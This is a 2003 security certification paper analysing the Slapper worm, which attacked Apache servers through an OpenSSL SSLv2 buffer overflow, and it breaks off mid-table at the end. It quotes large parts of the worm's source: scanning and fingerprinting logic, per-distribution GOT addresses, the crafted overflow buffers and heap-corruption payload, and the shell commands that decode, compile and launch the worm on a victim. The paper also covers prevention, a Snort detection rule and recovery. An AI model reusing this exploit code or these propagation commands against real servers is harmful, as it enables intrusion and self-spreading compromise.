Slapper

Paul Elwell
Slapper
Security Essentials (GSEC) Practical Assignment v1.4b
Paul Elwell
February 12, 2003

Abstract
Slapper (specifically Slapper.A) is an internet worm that attacks Apache web servers running on any one of a number of Linux operating system distributions on Intel platforms. The worm is self-propagating, actively seeking servers to infect via a previously undisclosed exploit for a known vulnerability in OpenSSL. The worm may also be referred to as the Apache/mod_ssl worm.

Infected systems will open a UDP connection on port 2002 over which they will communicate via a peer-to-peer network that the worm establishes. The worm implements a command structure that could allow the network of infected servers to act as agents in a distributed denial of service attack.

It is the intent of this paper to look at not only what Slapper does, but why and how (with special emphasis on the buffer overflow employed). For purposes of this paper, the term Slapper will refer to Slapper.A unless otherwise designated.

Worm Basics
At this point, it may be helpful to define what we mean by the term “worm”. “A worm is a self-contained program (or set of programs), that is able to spread functional copies of itself to other computer systems (usually via a network)….Malicious code is called a worm when it requires no specific action on the part of the user to enable infection and propagation. It just spreads….”

So, how does a worm differ from a virus? As indicated above, a worm does not require user interaction to propagate. Ironically, it is often user inaction (for example, failure to apply patches) that enables successful infection by a worm. Viruses, on the other hand, usually require some user interaction (i.e., opening an email attachment).

Use of the terms “virus” and “worm” reinforce the analogy of the biological characteristics of the entities. “…some authorities (including Fred Cohen, the ‘father’ of computer virology) regard worms as a subset of the genus virus….It can be said that the worm infects the environment (an operating system or mail system, for instance), rather than specific infectable objects, such as files.”

Given the absence of user interaction, I am inclined to consider worms a bit more insidious. As stated above, “they just spread”. To a degree, worms incorporate
elements of the entire “hacking process”, and they take things a step further by automating that process. Scanning, fingerprinting, exploiting, creating a backdoor and sometimes even covering their tracks, it’s all there.

**Slapper History and Composition**

On September 13, 2002, the following message\(^3\) was posted to Bugtraq:

```
To: BugTraq
Subject: bugtraq.c httpd apache ssl attack
Date: Sep 13 2002 1:55PM
Author: Fernando Nunes <fmcn@netcabo.pt>
Message-ID: <20020913135517.28304.qmail@mail.securityfocus.com>

I am using RedHat 7.3 with Apache 1.3.23. Someone used the program "bugtraq.c" to explore an modSSL buffer overflow to get access to a shell. The attack creates a file named "/tmp/.bugtraq.c" and compiles it using gcc. The program is started with another computer ip address as argument. All computer files that the user "apache" can read are exposed.

The program attacks the following Linux distributions:

- Red-Hat: Apache 1.3.6,1.3.9,1.3.12,1.3.19,1.3.20,1.3.22,1.3.23,1.3.26
- SuSe: Apache 1.3.12,1.3.17,1.3.19,1.3.20,1.3.23
- Mandrake: 1.3.14,1.3.19
- Slakware: Apache 1.3.26

Regards
Fernando Nunes
Portugal
```

This message is the earliest public reference to the worm that would become known as “Slapper”. However, even prior to his post, Slapper had a history.

A helpful “family tree” of Slapper by David Goldsmith\(^4\) is available at [http://isc.incidents.org](http://isc.incidents.org) (see Appendix A). The chart shows some of the works that contributed to the development of Slapper as well as the variants derived from it. (Variants are briefly discussed later in this paper.)
It is important to note the dates on the Slapper release and the OpenSSL vulnerability. (Although Appendix A lists the OpenSSL vulnerability as 8/02, CERT and OpenSSL.org both released advisories on 7/30/02.) That equates to about six weeks between advisory and active implementation in a malicious agent. That does not seem like a lot of time in which to develop and deploy a fairly complex entity like Slapper. On the other hand, it seems more than a reasonable timeframe in which to patch or upgrade vulnerable servers.

In truth, Slapper did not need to be developed from scratch. There already existed a framework into which a specific exploit could be integrated. According to the “family tree” in Appendix A, Slapper’s functionality is derived from a proof of concept “Peer-to-peer UDP Distributed Denial of Service (PUD)” by contem@efnet. In fact, the Slapper source code (provided in Appendix D) still carries the introductory comments from this work.

Slapper is similar in overall design to the Apache Scalper worm, which attacked Apache installations on FreeBSD systems. The major differences being that the two exploit different vulnerabilities and that Slapper is targeted towards Apache servers running Linux.

(Note: The Scalper source code I was able to locate, did not carry the contem introduction. However, there are references indicating that Scalper was derived from an existing code base. In an analysis of Scalper, iDEFENSE Labs indicated that the worm’s programming “…almost seems to have been a preexisting worm skeleton.” It has been noted that both worm’s source code includes a “version”. Slapper’s is listed as “12.09.2002, while Scapler’s is “26.04.2002” the version for “PUD” is “11092002”.)

Slapper is comprised of the single executable “/tmp/.bugtraq”, although the source code and a uuencoded version of the source play a pivotal role.

The worm establishes a command structure by which nodes can communicate and exchange information. This command structure includes attack commands for use in a DDoS, such as “UDP Flood”, “TCP SYN Flood” and “DNS standard query flood”, as well as commands for other purposes (i.e., “Execute Command” and “Send Email Addresses”). A summary of available commands is presented in Appendix B.

**Slapper Infection/Propagation Cycle**

Slapper starts with the execution of “/tmp/.bugtraq”. The program is executed with a single parameter. This parameter is the IP address another server on the peer-to-peer network (presumably, the “parent” server). In the case of the originating server, “127.0.0.1” is provided as the address. The program fails with an error message if the appropriate syntax is not used.
A diagram outlining Slapper’s Infection/Propagation cycle is provided in Appendix C.

Once started, Slapper creates a socket and binds to UDP port 2002 (this is done in the function “audp_listen”). This port will act as the conduit to the peer-to-peer DDoS network that Slapper builds. This network implements a command structure which members use to communicate and exchange information with other peers on the network. “…Although UDP is an unreliable transport, the worm’s P2P protocol includes a reliability layer on top of UDP. This layer uses acknowledgments and retransmission to build some level of reliability for messages sent in the P2P network from one hop, or node in the worm's P2P network, to the next one.”

Once the port is established, the program prepares to send a “0x70” (Incoming client) command.

```
1716  initrec.h.tag=0x70;
1717  initrec.h.len=0;
1718  initrec.h.id=0;
```

This command will attempt to register this instance on the network. The actual send of the command is performed in the “audp_send” function, which is nested within several other functions.

(Within “audp_send”)
```
607  if ((datalen=sendto(inst->sock,buf,len,0,(struct sockaddr*)&inst->in,sizeof(inst->in))) < len) {
```

Upon successful completion, the program forks a child process.
```
1732  if (fork()) return 1;
```

This process will issue another “0x70” and listen for a reply from the network.

It will also initiate the scanning phase (which is set as a default mode).
```
58  #define SCAN
```

Once Slapper begins scanning, it selects address ranges to scan.

Note: the array definition below is slightly altered to fit properly within the format of this paper.
(At line 231)
```
unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21,
22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 36, 38, 40, 43, 44, 45,
46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64,
65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82,
83, 84, 85, 86, 87, 88, 89, 91, 92, 93, 94, 95, 96, 98, 99, 100, 101,
102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114,
115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128,
129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141,
142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154,
155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167,
168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180,
181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193,
194, 195, 196, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207,
208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220,
224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236,
237, 238, 239 };
The first octet of the target IP address (represented as “a.b.c.d”) is selected randomly from the array above.

```c
1733    #ifdef SCAN
1734       a=classes[rand()%sizeof(classes)];
1735       b=rand();
1736       c=0;
1737       d=0;
1738    #endif
```

The second octet is selected randomly. The third and fourth octets are initialized to zero. They are incremented to step through the respective ranges (from 0 to 255) looking for addresses that are listening on port 80.

Once we have the address of a potential target server, Slapper will fork another process to perform the exploit.

```c
1864    if (mfork() == 0) {
1865       exploit(srv);
1866       exit(0);
1867    }
```

Slapper first attempts to connect to a target system on port 80. This is done in the “GetAddress” function. Slapper sends an invalid GET request, expecting an HTTP 400 “Bad Request” in response.

```c
1094    write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));
```

That request and the associated error is simulated in the figure below:
Along with the “400 Bad Request” error message that the server returns, some additional information (most notably the line that contains server release information) is supplied. Slapper reads this response from the open socket searching for the “Server: ” string. Once found, a pointer is positioned immediately following the string and a copy of the line (from the appropriate starting position) is returned. The balance of the line is further interrogated to determine if the server is running Apache and, if so, what version.

If the target server does not report that it is running Apache, the child will exit.

```c
if ((a=GetAddress(ip)) == NULL) exit(0);
if (strncmp(a,"Apache",6)) exit(0);
```

This information will be used to tailor the exploit for the specific version of Apache. Architectures (i.e., OS and Apache release combinations) that are known to Slapper are defined in the structure below:

```c
struct archs {
  char *os;
  char *apache;
  int func_addr;
} architectures[] = {
  {"Gentoo", "", 0x08086c34},
  {"Debian", "1.3.26", 0x080863cc},
  {"Red-Hat", "1.3.6", 0x080707ec},
  {"Red-Hat", "1.3.9", 0x0808ccc4},
  {"Red-Hat", "1.3.12", 0x0808f614},
};
```
In addition to the OS and Apache release, the architecture definition includes a value that is the address of the free() library function entry in the GOT (Global Offset Table). This information will be of paramount importance during the exploit phase.

In the event that Slapper cannot match the Apache and/or OS release, a default of "Red-Hat", "1.3.23" is used.

(Note: The "Bad Request" example shown previously was run against a default installation of SuSE 8.0. The "ServerName" is set to "Unix" rather than a string indicating the distribution. In this instance, Slapper would have attempted the default architecture, "Red-Hat/1.3.23", and the GOT address would have been incorrect. It should be noted that, as a rule, "dumb luck" should not be counted on as a defense mechanism.)

The Exploit
At this point, we are already into the "exploit" function. However, this is where things start to get more involved. The vulnerability that Slapper exploits is described in an OpenSSL Security Advisory dated July 30, 2002. That advisory details four potentially remotely exploitable vulnerabilities. As of that date, the advisory...
indicated that “There are no known exploits available for these vulnerabilities….”\textsuperscript{9} This specific vulnerability is also described in CERT Vulnerability Note VU#102795.

In their analysis of Slapper, Frederic Perriot and Peter Szor\textsuperscript{10} provide a very good overview of the buffer overflow that Slapper uses to exploit the victim server. The real “blood and guts” of the overflow is described by Solar Eclipse in the README file for “openssl-too-open”\textsuperscript{11}. This is the exploit referenced in the Slapper Genealogy presented in Appendix A.

The worm continues by opening 20 connections (N=20) at intervals of one tenth of one second (“usleep” measures time in microseconds, or one millionth of a second).

\begin{verbatim}
for (i=0; i<N; i++) {
    connect_host(ip, port);
    usleep(100000);
}
\end{verbatim}

The reason for this step is that the exploit will require two connections to the server. Perriot and Szor explain that this approach “…succeeds only because Apache 1.3 is a process-based server (as opposed to a thread-based server). The children spawned by Apache to handle the two successive connections will inherit the same heap layout from their parent process. Thus, all other things being equal, the structures allocated on the heap will end up at the same addresses during both connections.”\textsuperscript{12} This rapid fire connect is intended to use up any existing Apache server child processes (preforked) from the process pool, and provide fresh processes for the new connections used for the exploit.

This may or may not be sufficient to produce the desired result. In the demonstration provided by Solar Eclipse, the exploit program (“openssl-too-open”) cycles through at least 50 connections before returning the desired result. “If the server traffic is high, the exploit might fail. If the memory allocation patterns are different, the exploit might fail. If you have the wrong GOT address, the exploit will definitely fail.”\textsuperscript{13}

At this point, two connections are established. This will (hopefully) provide us with two fresh Apache processes on the server with identical memory and heap structures.

\begin{verbatim}
ssl1 = ssl_connect_host(ip, port);
ssl2 = ssl_connect_host(ip, port);
\end{verbatim}

Slapper then initiates an SSL2 handshake (using connection “ssl1”). That exchange can be summarized as follows:

<table>
<thead>
<tr>
<th>Description</th>
<th>Slapper function</th>
</tr>
</thead>
<tbody>
<tr>
<td>attacker sends “client hello” to target</td>
<td>send_client_hello</td>
</tr>
<tr>
<td>target replies with “server hello” to attacker</td>
<td>get_server_hello</td>
</tr>
</tbody>
</table>
attacker sends “client master key” to target

send_client_master_key – (Here is where the actual buffer overflow is performed)

target replies with “server verify” to attacker

get_server_verify

attacker sends “client finished” to target

send_client_finished

target replies with “server finished” to attacker

get_server_finished

Table 1

The “send_client_hello” function creates and sends a Version 2 “client hello”.

```c
void send_client_hello(ssl_conn *ssl) {
    int i;
    unsigned char buf[BUFSIZE] =
        "\x01"
        "\x00\x02"
        "\x00\x18"
        "\x00\x00"
        "\x00\x10"
        "\x07\x00\xc0\x05\x00\x80\x03\x00"
        "\x80\x01\x00\x80\x00\x80\x06"
        "\x00\x40\x04\x00\x80\x02\x00\x80"
    for (i = 0; i < CHALLENGE_LENGTH; i++) ssl->challenge[i] =
        (unsigned char) (rand() >> 24);
    memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
    send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
}
```

The composition of “client hello” is as follows:
Table 2

The “get_server_hello” function reads the expected response from the socket.

```c
void get_server_hello(ssl_conn* ssl) {

    unsigned char buf[BUFSIZE];
    unsigned char *p, *end;
    int len;
    int server_version, cert_length, cs_length, conn_id_length;
    int found;

    if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
    if (len < 11) exit(1);

    p = buf;
    if (*(p++) != SSL2_MT_SERVER_HELLO) exit(1);
    if (*(p++) != 0) exit(1);
    if (*(p++) != 1) exit(1);
    n2s(p, server_version);
    if (server_version != 2) exit(1);

    n2s(p, cert_length);
    n2s(p, cs_length);
    n2s(p, conn_id_length);

    if (len != 11 + cert_length + cs_length + conn_id_length) exit(1);
    ssl->x509 = NULL;
}
```

The next statement uses “d2i_X509” to decode and parse the X509 certificate saving it in our SSL structure (currently ssl1).

```c
ssl->x509 = d2i_X509(NULL, &p, (long)cert_length);
```

Again, results are validated (the cipher specification length, “cs_length”, must be a multiple of 3) and the servers response is searched for the appropriate cipher.
(identified as SSL2_CK_RC4_128_WITH_MD5 in openssl/ssl2.h). Slapper only supports this cipher.

The program exits if the desired cipher is not found or if the connection ID length is invalid.

```c
1520    found = 0;
1521    for (end=p+cs_length; p < end; p += 3) if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80)) found = 1;
1522    if (!found) exit(1);
1523    if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) exit(1);
```

The connection ID length and the connection ID to our SSL connection structure are then saved.

```c
1527    ssl->conn_id_length = conn_id_length;
1528    memcpy(ssl->conn_id, p, conn_id_length);
1529 }
```

With the information obtained from the "server hello", Slapper will create a specially crafted "client master key" to perform the buffer overflow. Not surprisingly, this is done with the "send_client_master_key" function. The "exploit" function makes the following call to "send_client_master_key":

```c
1657    send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);
```

The function is called with pointers to the appropriate ssl structure and the contents of the overflow (in this case, "key_arg_overwrite"). The length of the overflow is also passed as an argument.

```c
1531    void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
1532    int encrypted_key_length, key_arg_length, record_length;
1533    unsigned char* p;
1534    int i;
1535    EVP_PKEY *pkey=NULL;
```

The function first establishes a buffer "buf" and initializes the first 10 characters. These entries include the SSL version and the cipher ("\x01\x00\x80").

```c
1536    unsigned char buf[BUFSIZE] =
1537    "\x02"
1538    "\x01\x00\x80"
1539    "\x00\x00"
1540    "\x00\x40"
1541    "\x00\x08";
```
Figure 2

Pointer “p” is then positioned within the buffer.

```
p = &buf[10];
```

Figure 3

The following statements will:

- Populate ssl->master_key[] with random characters

```
for (i = 0; i < RC4_KEY_LENGTH; i++) ssl->master_key[i] = (unsigned char)(rand() >> 24);
```

- Extract the public key information and turn it into an EVP_PKEY

```
pkey=X509_get_pubkey(ssl->x509);
```

- Validate that the operation was successful

```
if (!pkey) exit(1);
if (pkey->type != EVP_PKEY_RSA) exit(1);
```

- Store it in buffer “buf” beginning at offset 10 and verify the returned “encrypted_key_length”.

```
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
if (encrypted_key_length <= 0) exit(1);
```
Adjust pointer “p” by the size of “encrypted_key_length”.

```c
p += encrypted_key_length;
```

Figure 5

if (key_arg_overwrite) {
    for (i = 0; i < 8; i++) *(p++) = (unsigned char)(rand() >> 24);
}

```c
memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
key_arg_length = 8 + key_arg_overwrite_len;
```

Figure 6
else key_arg_length = 0;

In this instance, the argument passed as ‘key_arg_overwrite’ is
“overwrite_session_id_length” which was declared as:

```
unsigned char overwrite_session_id_length[] =
    "AAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "\x70\x00\x00\x00";
```

Figure 7
(Note: the “\x70”, or 112, is the value that will overwrite the session_id_length field of the
SSL_SESSION structure on the server.)

The worm now resets pointer “p” to position 6 (originally populated in the buffer
definition) and replaces the original contents at that position with the
“encrypted_key_length” and “key_arg_length”.

```
p = &buf[6];
s2n(encrypted_key_length, p);
s2n(key_arg_length, p);
```

Figure 8
Note that “s2n()” increments “p”.

The “record_length” is then calculated and the buffer is sent to the server using the “send_ssl_packet” function.

```c
record_length = 10 + encrypted_key_length + key_arg_length;
send_ssl_packet(ssl, buf, record_length);
ssl->encrypted = 1;
```

This completes (sort of) the first buffer overflow. The purpose of this overflow is to force the server to reveal additional information that will be used in a subsequent overflow. Specifically, the worm needs the location where the shell code will reside.

The worm continues to participate in the SSL handshake through the following functions; “generate_session_keys”, “get_server_verify”, “send_client_finished” and finally “get_server_finished”. It is in the “server finished” reply, that overflow number one will pay off.

This overflow has overwritten the “session_id_length” in the “ssl_session_st” structure on the target server (shown below) with a value of “0x70” or “112”. That will cause the server to send 112 bytes (from the beginning of the “session_id”) as the “session_id”.

```c
ssl->session_id_length = 112;
```
typedef struct ssl_session_st
{
    int ssl_version;    /* what ssl version session info is
        * being kept in here? */

    /* only really used in SSLv2 */
    unsigned int key_arg_length;
    unsigned char key_arg[SSL_MAX_KEY_ARG_LENGTH];
    int master_key_length;
    unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH];
    /* session_id - valid? */
    unsigned int session_id_length;
    unsigned char session_id[SSL_MAX_SSL_SESSION_ID_LENGTH];

    /* this is used to determine whether the session is being reused in
     * the appropriate context. It is up to the application to set this,
     * via SSL_new */
    unsigned int sid_ctx_length;
    unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH];

    int not_resumable;

    /* The cert is the certificate used to establish this connection */
    struct sess_cert_st /* SESS_CERT */ *sess_cert;

    /* This is the cert for the other end.
     * On clients, it will be the same as sess_cert->peer_key->x509
     * (the latter is not enough as sess_cert is not retained
     * in the external representation of sessions, see ssl_asn1.c). */
    X509 *peer;

    /* when app_verify_callback accepts a session where the peer's certificate
     * is not ok, we must remember the error for session reuse: */
    long verify_result; /* only for servers */

    int references;
    long timeout;
    long time;

    int compress_meth;    /* Need to lookup the method */

    SSL_CIPHER *cipher;
    unsigned long cipher_id;    /* when ASN.1 loaded, this
     * needs to be used to load
     * the 'cipher' structure */

    STACK_OF(SSL_CIPHER) *ciphers; /* shared ciphers? */

    CRYPTO_EX_DATA ex_data; /* application specific data */

    /* These are used to make removal of session-ids more
     * efficient and to implement a maximum cache size. */
    struct ssl_session_st *prev,*next;
} SSL_SESSION;

The “get_serverFinished” function will read the “server finished” response. This
response will be comprised of a single character “server finished message” and the
“session_id” (which the server now believes is 112 bytes).
void get_server_finished(ssl_conn* ssl) {
  unsigned char buf[BUFSIZE];
  int len;
  int i;

  Read the response from the target server.
  if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);

  Make sure it is, in fact, a “server finished” reply.
  if (buf[0] != SSL2_MT_SERVER_FINISHED) exit(1);

  Make sure at least 112 bytes have been returned. This should contain the portion of
  the SSL_SESSION structure identified above.
  if (len <= 112) exit(1);

  Grab the “cipher” and “ciphers” fields from that structure. A one-character overhead
  is added to the offset to account for the “server finished message”.
  cipher = *(int*)&buf[101];
  ciphers = *(int*)&buf[109];

  After completing the SSL handshake, the “get_local_port” function is used to retrieve
  the port number of the second SSL connection that was
  opened earlier (i.e., “ssl2”).

  The reconnaissance information gathered to this point can now be patched into a
  specially crafted buffer that will be used in the second buffer overflow.

  That buffer is initially defined as “overwrite_next_chunk”. The patching begins with
  the retrieved port information in the following two statements:

  overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
  overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);

  Finally, the “cipher”, “ciphers” and the crucial address of the Global Offset Table are
  integrated into the buffer.

  *(int*)&overwrite_next_chunk[156] = cipher;
  *(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
  *(int*)&overwrite_next_chunk[196] = ciphers + 16;

  According to Perriot and Szor, the second overflow accomplishes the following:

  “…(1) corrupting the heap management data, (2) abusing the free() library call to patch an arbitrary dword in memory, which is going to
be the GOT entry of free() itself, and (3) causing free() to be called again, this time to redirect control to the shell code location.

The attack buffer used in the second overflow is composed of three parts: the items to be placed in the SSL_SESSION structure after the key_arg[] buffer, 24 bytes of specially crafted data, and 124 bytes of shell code.¹⁴

(Note: By my count, the shell code portion accounts for only 118 bytes.) The 24 bytes essentially represent a "fake chunk" on the heap.

That “attack” buffer is defined as follows:

```
unsigned char overwrite_next_chunk[] =
  "AAAA"
  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  "AAAA"
  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  "AAAA"
  "\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
  "AAAA"
  "\x00\x00\x00\x00"
  "AAAA"
  "AAAA"
  "AAAA"
  "\x00\x00\x00\x00"
  "AAAA"
  "AAAA"
  "AAAA"
  "AAAA"
  "AAAA"
  "AAAA"
  "AAAA"
  "AAAA"
  "AAAA"
  "\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
  "AAAA"
  "\x00\x00\x00\x00"
  "AAAA"
  "AAAA"
  "AAAA"
  "AAAA"
  "\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
```

Offset 156: cipher
Offset 192: Address of the GOT (architecture[arch].func_addr – 12)
Offset 196: ciphers + 16
Once the attack buffer is properly patched, Slapper initiates a second SSL handshake with the target server. Through “send_client_hello” and “get_server_hello”, this handshake follows the same sequence of events as the first, using ssl2 as the connection. However, the invocation of the “send_client_master_key” function uses “overwrite_next_chunk” as the attack buffer (as well as specifying ssl2). The functions proceed through the same steps detailed in Figure 2 through Figure 8, the only difference being the population of the buffer beginning at offset 34. This results in the following buffer:
At this point, the worm needs to disrupt the normal handshake. It does this by overwriting the connection id with random characters.

```
for (i = 0; i < ssl2->conn_id_length; i++) ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
```

The worm now sends a “client finished”.

```
send_client_finished(ssl2);
```

Since the connection id of ssl2 is no longer valid, the target server will abort the session and make a call to SSL_SESSION_FREE() to free the memory occupied by the SSL_SESSION structure. SSL_SESSION_FREE makes a call to the free() function. The manipulation of the “fd” and “bd” pointers will cause a subsequent call to free() to execute the shellcode.

Joe Sremack and Jim Yuill demonstrated (in their response to the November, 2002, Honeynet Scan of Month Challenge) the effect of the overflow on the heap.

(Notes: The Honeynet Challenge involved the analysis of Slapper.B, otherwise known as “.unlock”, which exploits the same buffer overflow.)

The “Before” view shows the target server’s “ssl_session_st” structure on the heap (under normal circumstances).
After the buffer overflow, the chunk on the heap has been overwritten with the “altered chunk”, the “fake chunk” and the “exploit code”. Slapper has overwritten the “fd” and “bk”.

The next diagram demonstrates how those “fd” and “bk” values result in the execution of the shell code. Solar Eclipse explains that “The free() call will write the value of the bk pointer to the memory address in the fd pointer + 12 bytes. We'll put our shellcode address in the bk pointer and we'll write it to the free() entry in the GOT table.”
The shellcode will invoke a shell and once that shell session is established, Slapper calls the "sh" function.

```
1683     sh(ssl2->sock);
```

This function is passed the ssl2 socket as its lone argument.

Once in "sh", the following commands are written to the socket and interpreted by the shell (on the target server) as if they were executed from the command line.

```
1349     writem(sockfd,"TERM=xterm; export TERM=xterm; exec bash -i\n"");
```

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>TERM=xterm</td>
<td>This command seems redundant given the one that follows</td>
</tr>
<tr>
<td>export TERM=xterm</td>
<td>Set and export the Terminal Type variable</td>
</tr>
<tr>
<td>exec bash -i</td>
<td>&quot;exec&quot; an interactive shell</td>
</tr>
</tbody>
</table>

Next, any existing instance of the worm source (in the event that the server had been previously infected) is removed.

```
rm -rf /tmp/.bugtraq.c
```
Slapper then creates (and prepares to populate) “/tmp/.uubugtraq” via an inline document.

```
cat > /tmp/.uubugtraq << __eof__;\n"
```

The “/tmp/.uubugtraq” file is now open on the target server, awaiting input.

```
1350 writem(sockfd,"rm -rf /tmp/.bugtraq.c;cat > /tmp/.uubugtraq << __eof__;\n");
```

The “encode” function will read from “/tmp/.bugtraq.c” on the attacking machine and write it out to the socket in uuencode format (to be read later by uudecode). The output will be placed in “/tmp/.uubugtraq” on the target server.

```
1351 encode(sockfd);
```

The “/tmp/.uubugtraq” file on the target server is now closed.

```
1352 writem(sockfd,"__eof__\n");
```

The next several lines (1353-1356) create a customized string that will be sent as a series of commands. The customization is required to provide the IP address of the attacking server as the argument passed to “/tmp/.bugtraq” on the target server.

```
1353 conv(localip,256,myip);
1354 memset(rcv,0,1024);
1355 sprintf(rcv,"/usr/bin/uudecode -o /tmp/.bugtraq.c
    /tmp/.uubugtraq;gcc -o /tmp/.bugtraq /tmp/.bugtraq.c -lcrypto;/tmp/.bugtraq %s;exit;\n",localip);
1356 writem(sockfd,rcv);
```

This series of commands does the following:

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>/usr/bin/uudecode -o /tmp/.bugtraq.c /tmp/.uubugtraq</td>
<td>Uudecode “/tmp/.uubugtraq” into /tmp/.bugtraq.c</td>
</tr>
<tr>
<td>gcc -o /tmp/.bugtraq /tmp/.bugtraq.c -lcrypto</td>
<td>Compile “/tmp/.bugtraq.c” with required “crypto” library, producing the “/tmp/.bugtraq” binary executable. (Note: assumes “gcc” is installed.)</td>
</tr>
<tr>
<td>/tmp/.bugtraq %s</td>
<td>Run “/tmp/.bugtraq” with the IP address of the attacking server as the argument (localip will be substituted for “%s”).</td>
</tr>
<tr>
<td>exit</td>
<td>Exit the shell</td>
</tr>
</tbody>
</table>

The result is that the worm is installed and running on the target server (just as if you sat and typed the commands yourself).

After completing the “exploit” function, the child process on the attacking machine will exit.
Prevention
As mentioned earlier, Slapper determines the all-important Global Offset Table address based on information supplied in Apache’s response to a “Bad Request”. Turning off “ServerTokens” (i.e., “MIN”) in Apache will cause Slapper to attempt the exploit using default values and fail (unless of course, you are running Apache release 1.3.23 on RedHat). Similarly, one could force Apache to disclose erroneous information (a recompile would be required) thus ensuring that Slapper would select the wrong architecture. This approach falls into the “security through obscurity” category and should not be relied on as a defense mechanism. Future worms and other threats will certainly employ more advanced fingerprinting techniques that will not be fooled so easily. Additionally, if you are going to go through the trouble of recompiling Apache, you might as well take the more appropriate preventative measures.

Those measures include the following:

- Apply patches – Upgrade OpenSSL (to at least version 0.9.6e, which was made available on the day of the OpenSSL Advisory).
- Disable SSLv2 – Modify the “SSLCipherSuite” directive in “openssl.cnf”
- Ingress/Egress filtering – block UDP 2002

For more information on these recommendations, refer to:

Some other preventative measures may include:

- Create read only directories named “/tmp/.bugtraq”, “/tmp/.bugtraq.c” and “/tmp/.uubugtraq.c”. This will prevent the initial creation of the required files. Note that this is more of “stop gap” solution as it is very specific (i.e., it only addresses Slapper.A) and it does not address the underlying vulnerability.

- Do not install “gcc” on Internet facing systems. This may not be practical for organizations or individuals with limited resources. However, this will remove a potential available resource to malicious entities from systems that face the greater exposure.

There are other alternatives, for example, completely disabling Apache. One must ask, “Is this (or any other feature/application) really required, or was it just installed as part of a default installation?” The point is that even if you are not in a position to patch immediately, there are usually actions that you can take that will temporarily mitigate your exposure. These actions are not replacements for monitoring advisories and patching accordingly. They just buy you some time.

Detection
In general, infected servers can be identified by the existence of the key files:
As well as traffic (both inbound and outbound) on UDP 2002.

Snort.org has published the following snort rule for Slapper:

From http://www.snort.org/snort-db/sid.html?sid=1889

<table>
<thead>
<tr>
<th>SID</th>
<th>1889</th>
<th>message</th>
<th>MISC slapper worm admin traffic</th>
</tr>
</thead>
</table>

Note: Other fields (specifically Summary, Impact, Detailed Information, Attack Scenarios, Ease of Attack, False Positives, False Negatives, Corrective Action, Contributors) have been left blank.

The rule reads as follows:

- Generate an alert on signature match (as opposed to “log” or “pass traffic”).
- The protocol is UDP.
- From any address defined as EXTERNAL_NET on port 2002.
- To any address defined as HTTP_NET on port 2002.
- Print the message “MISC slapper worm admin traffic” on alert.
- Look for hex “0000 4500 0045 0000 4000” in the first 10 characters of the payload.

Note that this rule looks only for traffic on UDP 2002. This would indicate a system that had already been compromised by Slapper.

Incident Recovery

An active worm on a given server can be stopped by killing all processes associated with “/tmp/.bugtraq” (again, for Slapper.A). Analysis of the code reveals that Slapper makes not extraordinary steps to ensure that the require program executes on
system boot, so the process will not restart by itself on reboot. Further measures should include the removal of the following:

```
/tmp/.bugtraq
/tmp/bugtraq.c
/tmp/.uubugtraq.c
```

Given that Slapper provides a mechanism that allows the execution of arbitrary code (command 0x24), the steps outlined above are not sufficient. While they will prevent the infected server from acting as a DDoS agent and communicating with the rest of the peer-to-peer network, they cannot guarantee the integrity of the system.

For more detailed information on recovery of a compromised system, review the “Steps for Recovering from a UNIX or NT System Compromise” from the CERT® Coordination Center at:

```
http://www.cert.org/tech_tips/win-UNIX-system_compromise.html
```

**Variants**
Within a very short period of time, several variants appeared. In general, these variants were only slightly modified versions of the original. Common differences were the UDP port used and the name of the executable (and source). Some did implement additional functionality.

Below are brief summaries of some of the variants.

<table>
<thead>
<tr>
<th>Name</th>
<th>Slapper-B</th>
</tr>
</thead>
<tbody>
<tr>
